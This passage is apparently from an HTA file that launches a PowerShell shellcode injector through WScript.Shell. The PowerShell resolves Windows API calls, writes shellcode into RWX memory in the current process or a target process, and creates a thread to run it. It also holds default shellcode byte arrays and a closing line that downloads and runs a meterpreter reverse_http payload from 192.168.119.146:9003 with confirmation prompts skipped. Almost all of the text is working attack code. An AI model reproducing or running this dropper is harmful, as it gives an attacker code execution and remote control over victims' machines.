Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(\'\\\')[-1].Equals(\'System.dll\') }
$UnsafeNativeMethods = $SystemAssembly.GetType(\'Microsoft.Win32.UnsafeNativeMethods\')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod(\'GetModuleHandle\')
$GetProcAddress = $UnsafeNativeMethods.GetMethod(\'GetProcAddress\', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split \'([A-F0-9]{2})\' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] (\'0x{0}\' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
}
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw \'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.\'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw \'No shellcode was placed in the $Shellcode32 variable!\'
}
$Shellcode = $Shellcode32
}
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw \'No shellcode was placed in the $Shellcode64 variable!\'
}
$Shellcode = $Shellcode64
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw \'No shellcode was placed in the $Shellcode32 variable!\'
}
$Shellcode = $Shellcode32
}
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64)
{
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
}
else
{
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
}
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
}
$CloseHandle.Invoke($hProcess) | Out-Null
}
function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
if ($Shellcode32.Length -eq 0)
{
Throw \'No shellcode was placed in the $Shellcode32 variable!\'
return
}
$Shellcode = $Shellcode32
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw \'No shellcode was placed in the $Shellcode64 variable!\'
return
}
$Shellcode = $Shellcode64
}
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
}
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
}
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$64bitCPU = $true
}
else
{
$64bitCPU = $false
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PsCmdlet.ParameterSetName -eq \'Metasploit\')
{
if (!$PowerShell32bit) {
$RootInvocation = $MyInvocation.Line
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
if ( !$Response )
{
Return
}
if ($MyInvocation.BoundParameters[\'Force\'])
{
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
}
else
{
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
}
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
$Execute = \'$Command\' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
Invoke-Expression -Command $Execute | Out-Null
Return
}
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you\'re doing?",
"About to download Metasploit payload \'$($Payload)\' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
if ( !$Response )
{
Return
}
switch ($Payload)
{
\'windows/meterpreter/reverse_http\'
{
$SSL = \'\'
}
\'windows/meterpreter/reverse_https\'
{
$SSL = \'s\'
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}
}
}
if ($Legacy)
{
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
} else {
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}
$SumTest = $False
while ($SumTest -eq $False)
{
$GeneratedUri = $CharArray | Get-Random -Count 4
$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
}
$RequestUri = -join $GeneratedUri
$Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)"
}
$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add(\'user-agent\', "$UserAgent")
if ($Proxy)
{
$WebProxyObject = New-Object System.Net.WebProxy
$ProxyAddress = (Get-ItemProperty -Path \'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\').ProxyServer
if ($ProxyAddress)
{
$WebProxyObject.Address = $ProxyAddress
$WebProxyObject.UseDefaultCredentials = $True
$WebClientObject.Proxy = $WebProxyObject
}
}
try
{
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
}
catch
{
Throw "$($Error[0])"
}
[Byte[]] $Shellcode64 = $Shellcode32
}
elseif ($PSBoundParameters[\'Shellcode\'])
{
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters[\'ProcessID\'] )
{
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
if ( $Force -or $psCmdlet.ShouldContinue( \'Do you wish to carry out your evil plans?\',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
if ( $Force -or $psCmdlet.ShouldContinue( \'Do you wish to carry out your evil plans?\',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
}
Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.119.146 -Lport 9003 -Force'
new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>Last updated